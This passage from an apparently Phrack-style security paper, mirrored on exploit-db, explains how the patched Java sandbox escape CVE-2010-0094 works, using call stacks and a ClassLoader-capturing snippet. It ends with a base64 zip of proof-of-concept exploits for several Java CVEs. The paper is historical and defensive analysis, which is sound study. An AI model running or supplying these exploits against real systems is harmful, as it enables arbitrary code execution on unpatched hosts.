  6:  Constructor<T>.newInstance(Object...) line: 513 

  7:  ObjectStreamClass.newInstance() line: 924 

  8:  MarshalledObject$MarshalledObjectInputStream 

       (ObjectInputStream).readOrdinaryObject(boolean) line: 1737 

 10:  MarshalledObject$MarshalledObjectInputStream 

       (ObjectInputStream).readObject0(boolean) line: 1329 

 12:  MarshalledObject$MarshalledObjectInputStream 

       (ObjectInputStream).readObject() line: 351 

 14:  MarshalledObject<T>.get() line: 142 

 15:  RMIConnectionImpl$6.run() line: 1513 

 16:  AccessController.doPrivileged(PrivilegedExceptionAction<T>) 

       line: not available [native method] 

 18:  RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader, 

       Class<T>) line: 1505 

 20:  RMIConnectionImpl.access$500(MarshalledObject, ClassLoader, 

       Class) line: 72 

 22:  RMIConnectionImpl$7.run() line: 1548 

 23:  AccessController.doPrivileged(PrivilegedExceptionAction<T>) 

       line: not available [native method] 

 25:  RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader, 

       ClassLoader, Class<T>) line: 1544 

 27:  RMIConnectionImpl.createMBean(String, ObjectName, ObjectName, 

       MarshalledObject, String[], Subject) line: 376 

 29:  Exploit.exploit() line: 79 

 30:  Exploit(BypassExploit).run_exploit() line: 24 

 31:  ExploitBase.run(ExploitBase) line: 20 



 32:  Exploit.main(String[]) line: 19 

--------------------------------------------------------------------------- 

 

We observe that the deserialization happens within a privileged context 

(within a doPrivileged() at line 16 and line 23). Notice that it is the 

constructor of the _ClassLoader_ class (<init>(), trusted code) which is on 

the stack and not the constructor of _S_ (the analyst class, untrusted 

code). Note that at line 2 "S(ClassLoader)" means that _ClassLoader_ is on 

the stack, not _S_. If _S_ would have been on the stack, the permission 

check in the _ClassLoader_ constructor would have thrown a security 

exception since untrusted code (thus without the permission) is on the 

stack. Why then is _S_ not on the call stack? The answer is given by the 

documentation of the serialization protocol [34]. It says that the 

constructor which is called is the first constructor of the class hierarchy 

not implementing the _Serializable_ interface. In our example _S_ 

implements _Serializable_ so its constructor is not called. _S_ extends 

_ClassLoader_ which does not implement _Serializable_. Thus, the empty 

constructor of _ClassLoader_ is called by the deserialization system code. 

As a consequence, the stack trace only contains trusted system classes on 

the stack within the privileged context (there can be untrusted code after 

doPrivileged() since a permission check will stop at the doPrivileged() 

method when checking the call stack). The permission check in the 

_ClassLoader_ will succeed. 

 

However, later in the system code, this instance of _S_ is cast to a type 

which is nor _S_, neither _ClassLoader_. So, how can the analyst retrieve 

this instance? One solution is to add a static field to _S_ as well as a 

method to the _S_ class to save the reference of the instance of _S_ in the 

static field: 

 

--------------------------------------------------------------------------- 

     public class S extends ClassLoader implements Serializable { 

      public static S myCL = null; 

      private void readObject(java.io.ObjectInputStream in) 

        throws Throwable { 

        S.myCL = this; 

      } 

     } 

--------------------------------------------------------------------------- 

 

The readObject() method is a special method called during deserialization 

(by readOrdinaryObject() at line 8 in the above call stack). No permission 

check is done at this point, so untrusted code (S.readObject() method) can 

be on the call stack. 

 

The analyst now has access to an instance of _S_. Since _S_ is a subclass 

of _ClassLoader_, the analyst can define a new class with all privileges 

and disable the security manager (similar approach as in Section 3.1.1). At 

this point, the sandbox is disabled and the analyst can execute arbitrary 

code. 

 

This vulnerability affects 14 versions of Java 1.6 (from version 1.6.0_01 

to 1.6.0_18). It has been corrected in version 1.6.0_24. 

 

The combination of the following "features" enables the analyst to bypass 



the sandbox: (1) trusted code allows deserialization of data controlled by 

untrusted code, (2) deserialization is taking place in a privileged 

context, and (3) creating an object by means of deserialization follows a 

different procedure than regular object instantiation. 

 

The vulnerability CVE-2010-0094 has been fixed in Java 1.6.0 update 24. The 

two calls to doPrivileged() have been removed from the code. In the patched 

version, when _ClassLoader_ is initialized, the permission check fails 

since the whole call stack is now checked (see the new call stack below). 

Untrusted code at lines 21 and below does not have permission 

CREATE_CLASSLOADER. 

 

--------------------------------------------------------------------------- 

  1: Thread [main] (Suspended (breakpoint at line 226 in ClassLoader)) 

  2:  MyClassLoader(ClassLoader).<init>() line: 226 [local variables 

       unavailable] 

  4:  GeneratedSerializationConstructorAccessor1.newInstance(Object[]) 

       line: not available 

  6:  Constructor<T>.newInstance(Object...) line: 513 

  7:  ObjectStreamClass.newInstance() line: 924 

  8:  MarshalledObject$MarshalledObjectInputStream 

       (ObjectInputStream).readOrdinaryObject(boolean) line: 1736 

 10:  MarshalledObject$MarshalledObjectInputStream(ObjectInputStream) 

       .readObject0(boolean) line: 1328 

 12:  MarshalledObject$MarshalledObjectInputStream(ObjectInputStream) 

       .readObject() line: 350 

 14:  MarshalledObject<T>.get() line: 142 

 15:  RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader, 

       Class<T>) line: 1523 

 17:  RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader, 

       ClassLoader, Class<T>) line: 1559 

 19:  RMIConnectionImpl.createMBean(String, ObjectName, ObjectName, 

       MarshalledObject, String[], Subject) line: 376 

 21:  Exploit.exploit() line: 79 

 22:  Exploit(BypassExploit).run_exploit() line: 24 

 23:  ExploitBase.run(ExploitBase) line: 20 

 24:  Exploit.main(String[]) line: 19 

--------------------------------------------------------------------------- 

 

------[ 4.4.3 - Discussion 

 

This vulnerability shows that specificities of the serialization protocol 

(only a specific constructor is called) can be exploited together with 

vulnerable system code that deserializes analyst-controlled data in a 

privileged context to bypass the sandbox and run arbitrary code. As the 

serialization protocol cannot be easily modified for backward compatibility 

reasons, the vulnerable code has been patched. 

 

--[ 5 - Conclusion 

 

In this article, we focused on the Java platform's complex security model, 

which has been attacked for roughly two decades now. We showed that the 

platform comprises native components (like the Java virtual machine), as 

well as a large body of Java system classes (the JCL), and that there has 

been a broad range of different attacks on both parts of the system. This 



includes low-level attacks such as memory corruption vulnerabilities on the 

one hand, but also Java-level attacks on policy enforcement, like 

trusted-method-chaining attacks for example. This highlights how difficult 

a task it is to secure the platform for practical use. 

 

We presented this article as a case study to illustrate how a complex 

system such as the Java platform fails at securely containing the execution 

of potentially malicious code. Hopefully, this overview of past Java 

exploits provides insights that help us design more robust systems in the 

future. 
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--[ 7 - Attachments 

 

>>>base64-begin code.zip 

UEsDBBQAAAAIAHJv2Uxwn+zdgAAAAKAAAAAPABwAY29kZS9SRUFETUUudHh0VVQJAAMo2TBbl9k 

wW3V4CwABBOgDAAAE6AMAADWMMRLCIBBFe07xTwB9Wq1iY+EFEDYDCrsZlgS9vdEZmz+veO/fBG 

1j9ES4yknxlg0jlwImitCVQl5ywE5Ns7BClsPFfL5YM/vdf0kRPONOiDK4iI9HuDSpk0m9r5NzY 

wwrzYdCNkh1nUJi6kPa0z2Oj98ouX+uLnOkl029FvMBUEsDBBQAAAAIAHJv2UyqT9LxSQQAAJ0L 

AAAvABwAY29kZS9jb25mdXNlZC1kZXB1dHlfQ1ZFLTIwMTItNDY4MS9NaW5pbWFsLmphdmFVVAk 

AAyjZMFuX2TBbdXgLAAEE6AMAAAToAwAAlVZLc9s2EL7rV2x5ohybjHtoZuIkbeK4TTp24qmcXj 

w+QOBSQgQSHACU7Hj837sAwYckKk08sigA+/z22wVFUSlt4Stbs2SOrDTJxX2l0RihyrOJ2DudW 

WaxwNJuH0pWLhKNuURukz8Fymz7vESbXDGZK11g9uWfy4t7jpXd8+HE6HR70yCvtbAPyVvOKbBz 

VVqtpHvgvT0kKuU16kKM5NHJnKsMZ6rWHA8I9BbMIQmtLGVMEu9VwcQhTxy1Tc7pS+SCE35nk0l 

6dDSBI7hBYzEDVcLfpAEvoK4yEoDnv7lT9/+OmUbgWp0DyQjJ5hKBWX+6tLYyL9N0IeyynidcFa 

lmlchepAVaZiqphD3JNStwo/TKaaRWI6YFI786JQBRl0ymxuNAa69hWud/sNoulYaPWMMFq9ciU 

3UxPMiEWUGphEHapU86qeq5FBy4ZMbAlShFwSQ8TiYA4cQQg+ixViIDh1k8s1oQe5IEmF6YKdil 

VhsDN+7hc30kZYDZA4VcEKh2FnC9YiVboI5L3MDu3nR6NmnUWsKCVJzJfvkavF67joN9H/gxeF3 

3F+07jI696uf5V6r97ekduXKSVj+EUKFLvAhuwjoOogBFotaotSAKthGM0TveDrpT395O8J4itN 

iafwJiGV9C3GOI0y62kKiqbVIR8laWcdT140uI4BlJn20L472w8clpa39yyI6pfRKRF3zyVddi7 

Rjt6/1jObeuu1KZLv9D5BizA4xzgp9rJO33dVE8jHoLOfmhBTkpLNBeN0H7vbiHOXAjIsNRUMsd 

IeMuwGPntE/edzm4ftFoa12Ox7mh5oW3l5dQ9QMnqIV0R0enF0kHEI8a/9/0W6p/z1VAeTAQh7E 

Gjg9OW1AHQgnLMt+pW6PZ96k3vTNJKamdjeBkZzvuGtWd9iPdu6IU4igXEmlCptG0advBHL59fj 

cdtPog2hBVqJoPewy8sYhu7+CxtbmXxNN+YzTE2yXduaPaq9/fuEH67dsxNEMScnf4icb5btl2G 

yJN6QSd2cb+FdK8Jn5rVcCsLm+UkitBLSKl06aKA1/SHe58tPptgN4n0X6OnNUGgdToYSBTLmJC 

d0EX1MkbePflL/jVK/evEM2gGqybKvYbNOBY1gcUD+sRtdFvD1yHb0ClgyMAC7v+didjKGjszU7 

3pMnhv0zWQbxp4dQxFkxdJkdQMb6iG8DQTYVky1BRON3fg2p2ddvNa6xQ4YLylWUETeS8RGfD7b 

nbZhub9La2BdQ8r40jc+ZdezBek7VnMA83IGXQlq7JQphB7Mdw8+HjDMxS1USTT59vwL0p/NIW9 

LQ1canUyoAUK6RMyAJ9SmUhvDG4SBzfcsYt/aC3E6KUj4XkWhOEtUR9YrA0pLHGZEgUenGSfoQa 



MBVyQZdnXpe+d5iku7djtQIiakb4OXPGrYOr5Ke55xHbv/GDvX3WjWH9k8Rr+fED3Hua/AdQSwM 

EFAAAAAgAcm/ZTKnF/Wl6AwAAjggAADAAHABjb2RlL2ludGVnZXItb3ZlcmZsb3dfQ1ZFLTIwMT 

UtNDg0My9NaW5pbWFsLmphdmFVVAkAAyjZMFuX2TBbdXgLAAEE6AMAAAToAwAAjVXbbts4EH33V 

8zmRXJqy7ZqF90YBWpn85BFL4uNWxQIgoCSKIuNRGpJKolb5N87o4slK+62QgKTczkzc2ZIiixX 

2sJXds88KZS33lm+LuKY6+VA9HSX0jaqweT0dACn8I86h1hpOP98Mfans8V4/nr+khQbbiyPQEn 

4G93hNRR5xCyH6YK0H5TlZ6D5f4XQ3MD4S/boL7akof+3rLAJgl7yAi5YcS8iVWRdRSTMHUglDE 

cp/k0GeRGkIoQwZcbAeyFFxlKA74MBwIFqBd+f+rI1yTqWxjKLP/dKRJAxId0rq4XcXt8A01szR 

FTArwmSwRuQ/KHZu8NlqbZ6V4WnbzIB1FrBUvGN49JCUPIIjgic2qaUIvkG8ebT6bIWt/2AIEBV 

u/dYmqoQOf0LOQytWzoPG799r0CQWxB4zOxllOTR1BymNdvdqvh25YyASSj3oGLgKc+4tAZaP5T 

aXY5OK+cXYB+Dr5jhccRjgLX9cdTI/D4Sksq3XHcoNoTxBlxcD93LSu29X325/bx69+kCJuB7iz 

2JK2j5wPZXjV5dE8bEv2msqmyhV+3evt72nDA+WmAttRXtyeTmJ51RJYoBBxczB8uPyqXvtKytO 

4TlhQWbcNM6CkmClrQqLXNYA4FjQplHKa3d4fKZ2j+m7pc+pdoJ62cGs9rA71Z7ZXkOszPI1H2T 

NrAowgvC4KmItcqOBWr9iRNCtgpnnlQkwNXsxoNNIgwebAzAH/NUCSSE2OhSXY4CYGwdp+qBUHJ 

cKp2VlrHQ2KuS6FDJuDBCSa8zVymXW5tgVX6nw8hzbDi1+NV87s8X0z/351oEHvbIxQEY1VajGm 

O4BGiN4lTkh8e1pMn/X5p65XfKxKo6I10ehvGsMu3Jx35DW4ckAw8J17xkxHAkIupRAgnLcy7Nc 

2r849yQeProv6JvEXTY2fIDdvyGHv+AjE3C5J2hsg7zGHWGPVLIi1SWtBbv84ORwVTwvpchpzOx 

GuHFbPvSted5vXOASXfoapdePQZjmO1P+tUO5y7zVGG9HN8Rm0r3pErMYU6V9vHvDE6aVOl70Qk 

5/DV4cyk67Jp106pDPgNXxPg5PYjuEIjjUvsE+MKECbibRKsHFqTY++YFxEeuCnplWXi30Szk7Z 

Vgyb682f4tpBUZv3gMeW6xNe6JKnLzxwnGtLU5Pcn4BD8NfgBQSwMEFAAAAAgAcm/ZTI8TgGoTB 

AAAuQgAADQAHABjb2RlL3RydXN0ZWQtbWV0aG9kLWNoYWluX0NWRS0yMDEwLTA4NDAvTWluaW1h 

bC5qYXZhVVQJAAMo2TBbl9kwW3V4CwABBOgDAAAE6AMAAH1VbW/bNhD+7l9x84dOzmrJKYp1iBF 

gmZu2afNS1Gk3YBgKWrpYjClSICk7QZD/vjtSSlTbW4BYEI9399xzz51kVRvr4VasRSrqWqFPT8 

JjOpA9U+OlSj8IV16I+j8s870++++Hu/3ju9RtpF6mH99ZUeF0r+lcOvbKDg4GcACfzQxujIXZt 

9Pxq8nhZDz57fUE2HKNzmMBRsNHcofD9Fdo6kJ4hMkh2y+NxyMoDGjjOcQSPXgDttHwHvU7qRCE 

LsIR1krkGKKeS71KcyWcgwWSF7KDJmDgSwS8q5WRPuWb/P+HcBHCXFQSPhm5bn52kJuCMrO99L4 

+yjKn5LL06t5SQlMtrFmh9qVp6NClC2WWrjY+zU3FPhmXmU1eZ8zK2NuGyxxXSA7FOC+FZDTjfI 

2Bj7T0lfoBCjNGnlKJBZfojzogjpAspS+bBafKrKhl8SajwMKFqsY33JSNsasAw1vErBKU3WZ4R 

79aqMyZxuaYtTw4ush3fxcNobNwhg2cimYtC9NUfUMh3Yr6IB1Gj2xQNwslc4hMX1BNlVDwAIMB 

QGtyXnh6BD2AC7/HoBulprB7KegJQgHdrd1QayMLqIjAZO4tkfj3PyDs0o2otdZsHFzzI7D2wM4 

AWUbaqMyaaFQKarSVdE4a7YJ1fk/cVKlDP8e8sdLfXwgtlmgTjRvYPhuNpjHo1eIWc5KiCIo87s 

IEJqYxcEAHseWXsaThbprhtBePaqm4GK6esj8dPgQy4LFNzvIG1V7ilyTieNnL9jJG6vDeSGo8t 

KMPXYL2PRlFEC4VRZGozofWAZS9m/SejDpWn9rC8WgQ7H0IRGZo/yz6xmpo6YAn9N3zSQ0UPugj 

2aq5hMcOCvVwnpdYNDwMcGsWYZ2EYV5T8jFJsxY+L+OIWxRF55bTi+djXhOuNJt4RTrgDSpzMhp 

N4/7+61kafPprbM6/X2kJSi/RpVKvaejPaTtFdXyhpcJK65XdkhJESjvnB0ICFDzRxZxgUL6Odq 

IkEtNVuylpryW0NPDZnQgmSq5DbalTiHXyajIZTeERcq4cktO7HGuuBtjtsfXbkhu46lmty13Rd 

xAid8o4BOKgMBsChTow7loXElgMSVwS/0xE0frKG0g4URxiePGiHeqfjvm9z0k4T7l9lOqZEIAF 

Fbra4mfQn1jT+LSmEfNKJ8NtTEcwhF/+r8xYZ4hIQdb8wenvl91WtZiJlVmwRT2R9ps6sBJZihJ 

62mCs7LDUkuEHVMr8aawqgqiGbamxforzFm9Eo/yMKb+iJRV0mUTv9PSvs+vvV5ffZ+dX89PeTL 

wl3pS43w8grUW+SrbzfJNOLjp1PUc6Keiz09jw1eOvaYEi95GXfT3vxSR2Z0Z7msLPQlMLww4Js 

x1SE8WPg38BUEsDBBQAAAAIAHJv2UyQYsLKoAMAAK8JAAA0ABwAY29kZS90cnVzdGVkLW1ldGhv 

ZC1jaGFpbl9DVkUtMjAxMC0wODQwL0dlbkZpbGUuamF2YVVUCQADKNkwW5fZMFt1eAsAAQToAwA 

ABOgDAACVVltv2zYUfg+Q/3AgDDCdZEzzGicFhqLbCmxZMRvbQxAYNHVks5ZIgaLiZEX/ew9FWq 

ZsoWtfFOtcv/Odi6Kq2lgHn8Sz4MrwX1WJs/MzlUhbp0r+u2g2f4p6TBXEvUKaijet5s6YsuGyF 

E1TUFD+zv8ahv+m6b9WObTfYWx044R2H0n+Y9b83V8P88UvD4tll3CpdGF+NMLHD8Hp/Oz64uL8 

DC5gsVENdOZgUeQN/KH0NviD0DmY1tWti2KNu6DqXHfKbWBCfP70Xjv7OgHRgNsgNG2NNsZUlJ3 

CgilgssDGTTpP/7g+P6vbValktPwNtacbPnt0AATakU5pB4XS+VLGmnN8YWlNIOspZbVm11At9E 

esDkEACN3dCG9X8EE7XKN9C5KqVLlw2MA9BCcAKhTiDH3bnU1n+1TX1wTaWKRWBHhQe3ze3lZUj 

NH0GyZeOAkepADmK1T3NzNQcEfF8Eb9hxQV1OXl1NcRAI20kYx9bEJNXmt0THkswZywUNcGucWK 

WgkVuo3JqdUFWtQSfYdAQCVqcAZKY7ZQEhfWY0uCRbdJjtQM7IiY7NWqABahqA6kROr2CGtJOZD 

QzgkpY2P2IepV141IOBV5qPJL+PEl6YCflZMig9YTHacofyHWfr6ZJW0YyQ9bfL1NgdL7nHiepn 

0JrRg2guy4FhWGcT3gnTur9DqAeCA9eXhH2tmgYYMG7hAETZPviffyKMOmJCs36ME+LKcBdIJ6w 

bLeMpsO2U94SAqM4KecuPpHlC0miABWdCC2I+QPAHRB7+BNkq7bzq6Jf7faqQrfv0is/VCyDK01 

9hYIAGgTVr2/HMSdrzo7IIBLyAYXh4Z3sG3ZHm8/ExZda/Wh4E4ftfH+xFPzbAhERbyx2Cdh183 

jU18IJTzUFE2ofXSz7rPD0cyOu01bl9j0FzTr7wYN0f5bA7KghvSv3F9k5onzbywkS+Z//krHte 

KUgdeUy5VEaBchI6JkMU1SkPbxyT/RFkJ2t87H9eKbp1liFfWPb57I5OTyyoLv+V56vqejVfhDE 



+L3MpY0kaDxSqyVvIJjqdLGLp/RNjQcp1rxKdEeKQewjpVCUknNsijFujnWOfoAhhqPNd13bER1 

YOnYo1BY5ifScI5OxMLRgKxa2rsTFsM/EyB3KY1ByFJjueM7L2XEeDiTHddx5P5nUtao0dLa57f 

dvOyd9gtEd8HJDbDDRxWTncYQZ+6E3C4sccGSzYsLRo+vUEsDBBQAAAAIAHJv2Ux5M/yrwQAAAD 

gBAAAxABwAY29kZS90cnVzdGVkLW1ldGhvZC1jaGFpbl9DVkUtMjAxMC0wODQwL0xpbmsuamF2Y 

VVUCQADKNkwW5fZMFt1eAsAAQToAwAABOgDAABNjcFuwkAMRO/+ijmmEQofkDMnWjjQW9XDJlh0 

6cZZ7XorUMW/1ylBwbJ9sGfekB/imBRn9+Oajp3kZnOJiXP2o7T0/C3qQ/PmYku0rmtCDZs1xdI 

F36MPLme8evkGX5TlmLGAYJzAA4tmvHNW/BIBxmo2oukKnnZrJ+uZN5GqfXfmXqEunVhXOGjycs 

LA+jUed27gFe6Kj0+YpPwHvBgcVrlETtXD+uxZpFPkjZbQOc8cW75WD1JiLUkgJYTZcKM/UEsDB 

BQAAAAIAHJv2Uzo6Zos4AAAAFMBAAAxABwAY29kZS90cnVzdGVkLW1ldGhvZC1jaGFpbl9DVkUt 

MjAxMC0wODQwL1Rlc3QuamF2YVVUCQADKNkwW5fZMFt1eAsAAQToAwAABOgDAABNkLFOAzEQRPv 

7iikhxeUDaGhSAaIgSr/nbM4bfLZlrzkQ4t9Zn1JEcjWemTf2fjdgh6OXCjvXVhWEHMixT+HMBS 

5QrSPwKvETsuTAC0et0B6pCT0uCkcRE6Pwlj2DLtrDackSSCVFrKIeb5THQ9TygyrRsbF6PqayU 

Li5LbZKCCbalBDSClfYKuJs7m2NsUnvt/QO40s05sXwZiipzd4Uz0WUDDWaqfueqalPBR+0CF6S 

fDVT90NuUxB3V3Fk+4rfAVaO2+X7dGWnmFlPFBo/PG6cteLw7Tj3Rz4Nw9/wD1BLAwQUAAAACAB 

yb9lM7Ckgn5MAAAAGAQAAMQAcAGNvZGUvdHJ1c3RlZC1tZXRob2QtY2hhaW5fQ1ZFLTIwMTAtMD 

g0MC9ob3d0by50eHRVVAkAAyjZMFuX2TBbdXgLAAEE6AMAAAToAwAAZY/BCsIwEETv+YqFnk3ai 

4JXQS8WPHiXNA24bbIJTVp/32hohHqb2Z15MBUoZz0azYSX8SmiE0M/NvzAa9EhiUEuUkGLhFYa 

/nFwRRqzuusQs2KsKqBc2SkP/PgPNdgl70xIxQkums6p84PMvpdRl7syMoQvcT0xu5Qv6VdObPK 

JM80EN3farNrz+lE3Zdi6i70BUEsDBBQAAAAIAHJv2UytkEa4pwEAALMDAAAuABwAY29kZS90eX 

BlLWNvbmZ1c2lvbl9DVkUtMjAxNy0zMjcyL01pbmltYWwuamF2YVVUCQADKNkwW5fZMFt1eAsAA 

QToAwAABOgDAACtUltP2zAUfs+vOMpTWoq7lklF6kCbKiYxaTC1g5eJB5OcdqfzJfKlUKH+99mJ 

wwKaeCKKYsf+bsfHJGttHGz5jjPvSLBSq9Ibg8ox7rSkkn1phiWuMayW+JVQVDd1xR2aeZaNh8M 

MhvBDL2CtDSxuL46nHyaz45PpbBo3fqJ1WIFW8C14wISdgm/IMJlEQMR85t79DuRL9HDB/Y4q7W 

V/oyL7B5Qmiy1jnNX+XlAJpeDWwndSJLmApwwgvLXRDsvoutOCh6IQVs6Q2oDcp8kZ5EvSykZRk 

89bXhLbL5oxiv1X61I53KABCirKCxHZh+TcprIuIMvAoAokJ1W0rr/ugJuNHSTp5tN4fUqe5+Da 

DGddCtb8z3vQ5H4Ouw6aVvrQVOU6tuqKS4z1Uj7/Z/tGT1N7TOA00DfBTOFDmhZt9lEKNurY8Xk 

OMuhl6LomwxiPEh+6pWLwogx8rEMLAiQiWdfDFnJ9v4176Uq1KulAio/Tvt1qHy6iZNo7Vge+E6 

rIX18LssAhfw5+9NKRbdA1TSgGSTgdFbPoiggdpZUu/7tbHrJD9hdQSwMEFAAAAAgAcm/ZTN/VC 

28ZAgAAQQQAADYAHABjb2RlL3VuaW5pdGlhbGl6ZWQtaW5zdGFuY2VfQ1ZFLTIwMTctMzI4OS9N 

aW5pbWFsLmphdmFVVAkAAyjZMFuX2TBbdXgLAAEE6AMAAAToAwAAjZNPb9NAEMXv/hRPPjmhcUg 

4UKiQQFEOICohJeWCOGzWk3hVe9faP2kjlO/O7NoNbhESVpRYMzu/efN2Mp9OM0zxzaywNxar7+ 

vZ8vXi7ezN8vpdTGzJeapgNL6Io8CivEboKuEJi8WSD8QzH0XwNRd/poC1CEdVmdCOE5Vy99BGO 

eor5lkXdo2SkI1wDrdKq1Y0+JUBQ8J54fnnaFSFVihdbLxV+vDjJ4Q9uEk6yh9gc2J9benIb0gG 

q/zpVmhxIFtoesDL2GRyk6Uyb0/MSK/8zOdYWeKhHISG0txdS4LZQ2AVJX41oiJbjs5va0JHtlX 

OKTZH1iTvoRwqo4kJ8JyXhkk2SM8WMCuGxh3/gHsfSmxUbPtA2J26aEyCiKaBN3CB2zF5RIhpF3 

a9iXyDI+JVSo4EsjRtfK+Tqsskz6tYBz4gGvc8XkxuMDbrk2c8EzujtO9bCe8Fky1qwSZKSVG+Q 

WfVUTV04BUa1bfEa1FFsyueT6fNu7jecEvku4ZxjYrLl/f28OWMEC7IGtzKBV3yjLK8007s6TJY 

Uo+QgjyTbMrITdEif1GUx/GGumGfTPAla9e+0UW+CWmeq6RVpkXhxehtb3rj8B75EyI+rzjNu/a 
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9lMatqIP/4AAAC2AQAAPQAcAGNvZGUvdW5pbml0aWFsaXplZC1pbnN0YW5jZV9DVkUtMjAxNy0z 
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RlL3VuaW5pdGlhbGl6ZWQtaW5zdGFuY2VfQ1ZFLTIwMTctMzI4OS9idWlsZF9hbmRfcnVuLnNoV 
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GsBd7qq151H5WITmWmdyFr6ZRzDl4MdgTmbcM/8/I68Sys1KOuzgpFUZLxP8DUEsBAh4DFAAAAA 
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QAAAAIAHJv2UyKOIfzRQIAAJ4EAAA6ABgAAAAAAAEAAACkgTolAABjb2RlL3VuaW5pdGlhbGl6Z 

WQtaW5zdGFuY2VfQ1ZFLTIwMTctMzI4OS9idWlsZF9hbmRfcnVuLnNoVVQFAAMo2TBbdXgLAAEE 

6AMAAAToAwAAUEsFBgAAAAAOAA4AqwYAAPMnAAAAAA== 

<<<base64-end

« Previous Paper

https://www.exploit-db.com/papers/45517/0
https://www.exploit-db.com/docs/english/45430-[persian]-android-application-penetration-testing.pdf

